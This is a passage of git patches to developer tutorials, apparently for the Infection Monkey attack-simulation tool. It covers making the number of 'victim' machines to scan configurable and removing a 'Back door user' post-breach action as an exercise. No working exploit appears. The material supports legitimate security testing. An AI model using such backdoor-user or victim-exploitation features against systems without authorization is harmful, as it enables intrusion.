yJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMTQlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E0JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTExJTJDJTIybGluZXNDb3VudCUyMiUzQTQlN0QlN0QlN0QlN0Q=" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py\nindex 086a1c13..da99e86c 100644\n--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py\n+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -1,5 +1,5 @@", + " from common.data.post_breach_consts import (", + "- POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER)", + "+ POST_BREACH_COMMUNICATE_AS_NEW_USER)", + " from monkey_island.cc.services.attack.technique_reports.pba_technique import \\", + " PostBreachTechnique", + " " + ] + }, + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -11,4 +11,4 @@", + " unscanned_msg = \"Monkey didn't try creating a new user on the network's systems.\"", + " scanned_msg = \"Monkey tried creating a new user on the network's systems, but failed.\"", + " used_msg = \"Monkey created a new user on the network's systems.\"", + "- pba_names = [POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER]", + "+ pba_names = [POST_BREACH_COMMUNICATE_AS_NEW_USER]" + ] + } ] }, "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": { - "index": [ - "f3e2a9bf..2c4aa664", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "fileB": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "status": "MODIFIED", - "numLineDeletions": 9, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC00JTJDMTUlMjAlMkI0JTJDNyUyMCU0MCU0MCUyMFBPU1RfQlJFQUNIX0FDVElPTlMlMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIybWlnaHQlMjBkbyUyMGFmdGVyJTIwYnJlYWNoaW5nJTIwYSUyMG5ldyUyMG1hY2hpbmUuJTIwVXNlZCUyMGluJTIwQVRUJTI2Q0slMjBhbmQlMjBaZXJvJTIwdHJ1c3QlMjByZXBvcnRzLiU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlNUMlMjJhbnlPZiU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTYlMkMlMjJiJTIyJTNBNiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMkJhY2tkb29yVXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIyQmFjayUyMGRvb3IlMjB1c2VyJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyaW5mbyU1QyUyMiUzQSUyMCU1QyUyMkF0dGVtcHRzJTIwdG8lMjBjcmVhdGUlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwc3lzdGVtJTIwYW5kJTIwZGVsZXRlJTIwaXQlMjBhZnRlcndhcmRzLiU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmF0dGFja190ZWNobmlxdWVzJTVDJTIyJTNBJTIwJTVCJTVDJTIyVDExMzYlNUMlMjIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMyUyMFN3aW1tZXIlM0ElMjBBZGQlMjBuZXclMjBQQkElMjBoZXJlJTIwdG8lMjBjb25maWchJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBNyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE2JTJDJTIyYiUyMiUzQTglN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0eXBlJTVDJTIyJTNBJTIwJTVDJTIyc3RyaW5nJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTclMkMlMjJiJTIyJTNBOSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExOCUyQyUyMmIlMjIlM0ExMCU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTQlMkMlMjJsaW5lc0NvdW50JTIyJTNBMTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBNCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\nindex f3e2a9bf..2c4aa664 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -4,16 +4,7 @@", + " \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",", + " \"type\": \"string\",", + " \"anyOf\": [", + "- {", + "+ # Swimmer: Add new PBA here to config!", + "- \"type\": \"string\",", + "- \"enum\": [", + "- \"BackdoorUser\"", + "- ],", + "- \"title\": \"Back door user\",", + "- \"safe\": True,", + "- \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",", + "- \"attack_techniques\": [\"T1136\"]", + "- },", + " {", + " \"type\": \"string\",", + " \"enum\": [" + ] + } ] } }, - "app_version": "0.1.90", - "file_version": "1.0.2" + "hunksOrder": [ + "monkey/common/data/post_breach_consts.py_0", + "monkey/infection_monkey/post_breach/actions/add_user.py_0", + "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py_0", + "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py_1", + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py_0" + ], + "last_commit_sha_for_swimm_patch": "9d9e8168fb2c23367b9947273aa1a041687b3e2e" } \ No newline at end of file From 6806e715f78eb55fb75c5d7b83c446613914855e Mon Sep 17 00:00:00 2001 From: Swimm Date: Thu, 28 Jan 2021 19:24:17 +0200 Subject: [PATCH 206/466] =?UTF-8?q?Swimm:=20update=20unit=20Add=20a=20new?= =?UTF-8?q?=20configuration=20setting=20to=20the=20Agent=20=E2=9A=99=20(id?= =?UTF-8?q?:=20AzD8XysWg1BBXCjCDkfq).?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .swm/AzD8XysWg1BBXCjCDkfq.swm | 114 ++++++++++++++++++++++------------ 1 file changed, 74 insertions(+), 40 deletions(-) diff --git a/.swm/AzD8XysWg1BBXCjCDkfq.swm b/.swm/AzD8XysWg1BBXCjCDkfq.swm index 9594d72d9..83958e466 100644 --- a/.swm/AzD8XysWg1BBXCjCDkfq.swm +++ b/.swm/AzD8XysWg1BBXCjCDkfq.swm @@ -1,58 +1,92 @@ { "id": "AzD8XysWg1BBXCjCDkfq", "name": "Add a new configuration setting to the Agent βš™", - "dod": "TWFrZSUyMHRoZSUyMG1heCUyMHZpY3RpbSUyMG51bWJlciUyMHRoYXQlMjBNb25rZXklMjB3aWxsJTIwZmluZCUyMGJlZm9yZSUyMHN0b3BwaW5nJTIwY29uZmlndXJhYmxlJTIwYnklMjB0aGUlMjB1c2VyJTIwaW5zdGVhZCUyMG9mJTIwY29uc3RhbnQu", - "description": "JTIzJTIwTWFrZSUyMHNvbWV0aGluZyUyMGNvbmZpZ3VyYWJsZSUwQSUwQUluJTIwdGhpcyUyMHVuaXQlMkMlMjB5b3UlMjB3aWxsJTIwbGVhcm4lMjBob3clMjB0byUyMGFkZCUyMGElMjBjb25maWd1cmF0aW9uJTIwb3B0aW9uJTIwdG8lMjBNb25rZXklMjBhbmQlMjBob3clMjB0byUyMHVzZSUyMGl0JTIwaW4lMjB0aGUlMjBNb25rZXklMjBBZ2VudCUyMGNvZGUuJTIwJTBBJTBBISU1QmNvbXB1dGVyJTIwZmlyZSU1RChodHRwcyUzQSUyRiUyRm1lZGlhLmdpcGh5LmNvbSUyRm1lZGlhJTJGN0o0UDdjVXVyMkRsRXJpanAzJTJGZ2lwaHkuZ2lmJTIwJTIyY29tcHV0ZXIlMjBmaXJlJTIyKSUwQSUwQSUyMyUyMyUyMFdoeSUyMGlzJTIwdGhpcyUyMGltcG9ydGFudCUzRiUwQSUwQUVuYWJsaW5nJTIwdXNlcnMlMjB0byUyMGNvbmZpZ3VyZSUyMHRoZSUyME1vbmtleSdzJTIwYmVoYXZpb3VyJTIwZ2l2ZXMlMjB0aGVtJTIwYSUyMGxvdCUyMG1vcmUlMjBmcmVlZG9tJTIwaW4lMjBob3clMjB0aGV5JTIwd2FudCUyMHRvJTIwdXNlJTIwdGhlJTIwTW9ua2V5JTIwYW5kJTIwZW5hYmxlcyUyMG1vcmUlMjB1c2UlMjBjYXNlcy4lMEElMEElMjMlMjMlMjBXaGF0JTIwaXMlMjAlMjJNYXglMjB2aWN0aW1zJTIwdG8lMjBmaW5kJTIyJTNGJTBBJTBBVGhlJTIwTW9ua2V5JTIwaGFzJTIwYSUyMGZ1bmN0aW9uJTIwd2hpY2glMjBmaW5kcyUyMCUyMnZpY3RpbSUyMiUyMG1hY2hpbmVzJTIwb24lMjB0aGUlMjBuZXR3b3JrJTIwZm9yJTIwdGhlJTIwTW9ua2V5JTIwdG8lMjB0cnklMjBhbmQlMjBleHBsb2l0LiUyMEl0J3MlMjBjYWxsZWQlMjAlNjBnZXRfdmljdGltX21hY2hpbmVzJTYwLiUyMFRoaXMlMjBmdW5jdGlvbiUyMGFjY2VwdHMlMjBhbiUyMGFyZ3VtZW50JTIwd2hpY2glMjBsaW1pdHMlMjBob3clMjBtYW55JTIwbWFjaGluZXMlMjB0aGUlMjBNb25rZXklMjBzaG91bGQlMjBmaW5kLiUwQSUwQVdlJTIwd2FudCUyMHRvJTIwbWFrZSUyMHRoYXQlMjB2YWx1ZSUyMGVkaXRhYmxlJTIwYnklMjB0aGUlMjB1c2VyJTIwaW5zdGVhZCUyMG9mJTIwY29uc3RhbnQlMjBpbiUyMHRoZSUyMGNvZGUuJTBBJTBBJTIzJTIzJTIwTWFudWFsJTIwdGVzdGluZyUwQSUwQTEuJTIwQWZ0ZXIlMjB5b3UndmUlMjBwZXJmb3JtZWQlMjB0aGUlMjByZXF1aXJlZCUyMGNoYW5nZXMlMkMlMjByZWxvYWQlMjB0aGUlMjBTZXJ2ZXIlMjBhbmQlMjBjaGVjayUyMHlvdXIlMjB2YWx1ZSUyMGV4aXN0cyUyMGluJTIwdGhlJTIwSW50ZXJuYWwlMjB0YWIlMjBvZiUyMHRoZSUyMGNvbmZpZyUyMChzZWUlMjBpbWFnZSkuJTBBJTBBISU1QiU1RChodHRwcyUzQSUyRiUyRmkuaW1ndXIuY29tJTJGZTBYQXh1Vi5wbmcpJTBBJTBBMi4lMjBTZXQlMjB0aGUlMjBuZXclMjB2YWx1ZSUyMHRvJTIwMSUyQyUyMGFuZCUyMHJ1biUyME1vbmtleSUyMGxvY2FsbHklMjAoZnJvbSUyMHNvdXJjZSkuJTIwU2VlJTIwdGhhdCUyMHRoZSUyME1vbmtleSUyMG9ubHklMjBzY2FucyUyMG9uZSUyMG1hY2hpbmUu", - "summary": "KiUyMFdoZW4lMjBjaGFuZ2luZyUyMGNvbmZpZyUyMHNjaGVtYSUyMGJ5JTIwYWRkaW5nJTIwb3IlMjBkZWxldGluZyUyMGtleXMlMkMlMjB5b3UlMjBuZWVkJTIwdG8lMjB1cGRhdGUlMjB0aGUlMjBCbGFja2JveCUyMFRlc3QlMjBjb25maWd1cmF0aW9ucyUyMGFzJTIwd2VsbCUyMCU1QmhlcmUlNUQoaHR0cHMlM0ElMkYlMkZnaXRodWIuY29tJTJGZ3VhcmRpY29yZSUyRm1vbmtleSUyRnRyZWUlMkZkZXZlbG9wJTJGZW52cyUyRm1vbmtleV96b28lMkZibGFja2JveCUyRmlzbGFuZF9jb25maWdzKS4=", - "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZjb25maWcucHklMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRmNvbmZpZy5weSUwQWluZGV4JTIwMWZiY2I4NzYuLjY3ZWQxOWRlJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZjb25maWcucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRmNvbmZpZy5weSUwQSU0MCU0MCUyMC0xMzElMkM5JTIwJTJCMTMxJTJDNiUyMCU0MCU0MCUyMGNsYXNzJTIwQ29uZmlndXJhdGlvbihvYmplY3QpJTNBJTBBJTIwJTIwJTIwJTIwJTIwZXhwbG9pdGVyX2NsYXNzZXMlMjAlM0QlMjAlNUIlNUQlMEElMjAlMjAlMjAlMjAlMjBzeXN0ZW1faW5mb19jb2xsZWN0b3JfY2xhc3NlcyUyMCUzRCUyMCU1QiU1RCUwQSUyMCUwQS0lMjAlMjAlMjAlMjAlMjMlMjBob3clMjBtYW55JTIwdmljdGltcyUyMHRvJTIwbG9vayUyMGZvciUyMGluJTIwYSUyMHNpbmdsZSUyMHNjYW4lMjBpdGVyYXRpb24lMEEtJTIwJTIwJTIwJTIwdmljdGltc19tYXhfZmluZCUyMCUzRCUyMDEwMCUwQS0lMEElMjAlMjAlMjAlMjAlMjAlMjMlMjBob3clMjBtYW55JTIwdmljdGltcyUyMHRvJTIwZXhwbG9pdCUyMGJlZm9yZSUyMHN0b3BwaW5nJTBBJTIwJTIwJTIwJTIwJTIwdmljdGltc19tYXhfZXhwbG9pdCUyMCUzRCUyMDEwMCUwQSUyMCUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGbW9ua2V5LnB5JTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZtb25rZXkucHklMEFpbmRleCUyMDQ0NGJkZTQ1Li5mZjIzZjY3MSUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGbW9ua2V5LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZtb25rZXkucHklMEElNDAlNDAlMjAtMTU4JTJDNyUyMCUyQjE1OCUyQzclMjAlNDAlNDAlMjBjbGFzcyUyMEluZmVjdGlvbk1vbmtleShvYmplY3QpJTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjBub3QlMjBzZWxmLl9rZWVwX3J1bm5pbmclMjBvciUyMG5vdCUyMFdvcm1Db25maWd1cmF0aW9uLmFsaXZlJTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwYnJlYWslMEElMjAlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0RXb3JtQ29uZmlndXJhdGlvbi52aWN0aW1zX21heF9maW5kJTJDJTBBJTJCJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0QxMDAlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzdG9wX2NhbGxiYWNrJTNEQ29udHJvbENsaWVudC5jaGVja19mb3Jfc3RvcCklMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpc19lbXB0eSUyMCUzRCUyMFRydWUlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBmb3IlMjBtYWNoaW5lJTIwaW4lMjBtYWNoaW5lcyUzQSUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZpbnRlcm5hbC5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZpbnRlcm5hbC5weSUwQWluZGV4JTIwYmRiYWUyNDYuLmQ2MDQyZDM1JTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmludGVybmFsLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmludGVybmFsLnB5JTBBJTQwJTQwJTIwLTQwJTJDMTIlMjAlMkI0MCUyQzYlMjAlNDAlNDAlMjBJTlRFUk5BTCUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyTW9ua2V5JTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMm9iamVjdCUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnByb3BlcnRpZXMlMjIlM0ElMjAlN0IlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydmljdGltc19tYXhfZmluZCUyMiUzQSUyMCU3QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ0aXRsZSUyMiUzQSUyMCUyMk1heCUyMHZpY3RpbXMlMjB0byUyMGZpbmQlMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMmludGVnZXIlMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZGVmYXVsdCUyMiUzQSUyMDEwMCUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJkZXNjcmlwdGlvbiUyMiUzQSUyMCUyMkRldGVybWluZXMlMjB0aGUlMjBtYXhpbXVtJTIwbnVtYmVyJTIwb2YlMjBtYWNoaW5lcyUyMHRoZSUyMG1vbmtleSUyMGlzJTIwYWxsb3dlZCUyMHRvJTIwc2NhbiUyMiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ2aWN0aW1zX21heF9leHBsb2l0JTIyJTNBJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydGl0bGUlMjIlM0ElMjAlMjJNYXglMjB2aWN0aW1zJTIwdG8lMjBleHBsb2l0JTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMmludGVnZXIlMjIlMkMlMEE=", + "dod": "Make the max victim number that Monkey will find before stopping configurable by the user instead of constant.", + "description": "# Make something configurable\n\nIn this unit, you will learn how to add a configuration option to Monkey and how to use it in the Monkey Agent code. \n\n![computer fire](https://media.giphy.com/media/7J4P7cUur2DlErijp3/giphy.gif \"computer fire\")\n\n## Why is this important?\n\nEnabling users to configure the Monkey's behaviour gives them a lot more freedom in how they want to use the Monkey and enables more use cases.\n\n## What is \"Max victims to find\"?\n\nThe Monkey has a function which finds \"victim\" machines on the network for the Monkey to try and exploit. It's called `get_victim_machines`. This function accepts an argument which limits how many machines the Monkey should find.\n\nWe want to make that value editable by the user instead of constant in the code.\n\n## Manual testing\n\n1. After you've performed the required changes, reload the Server and check your value exists in the Internal tab of the config (see image).\n\n![](https://i.imgur.com/e0XAxuV.png)\n\n2. Set the new value to 1, and run Monkey locally (from source). See that the Monkey only scans one machine.", + "summary": "* When changing config schema by adding or deleting keys, you need to update the Blackbox Test configurations as well [here](https://github.com/guardicore/monkey/tree/develop/envs/monkey_zoo/blackbox/island_configs).", + "hunksOrder": [ + "monkey/infection_monkey/config.py_0", + "monkey/infection_monkey/monkey.py_0", + "monkey/monkey_island/cc/services/config_schema/internal.py_0" + ], "tests": [], "hints": [ "Look for `victims_max_exploit` - it's rather similar." ], - "files": { + "play_mode": "all", + "swimmPatch": { "monkey/infection_monkey/config.py": { - "index": [ - "1fbcb876..67ed19de", - "100644" - ], - "fileA": "monkey/infection_monkey/config.py", - "fileB": "monkey/infection_monkey/config.py", - "status": "MODIFIED", - "numLineDeletions": 3, - "numLineAdditions": 0, - "hunkContainers": [ - 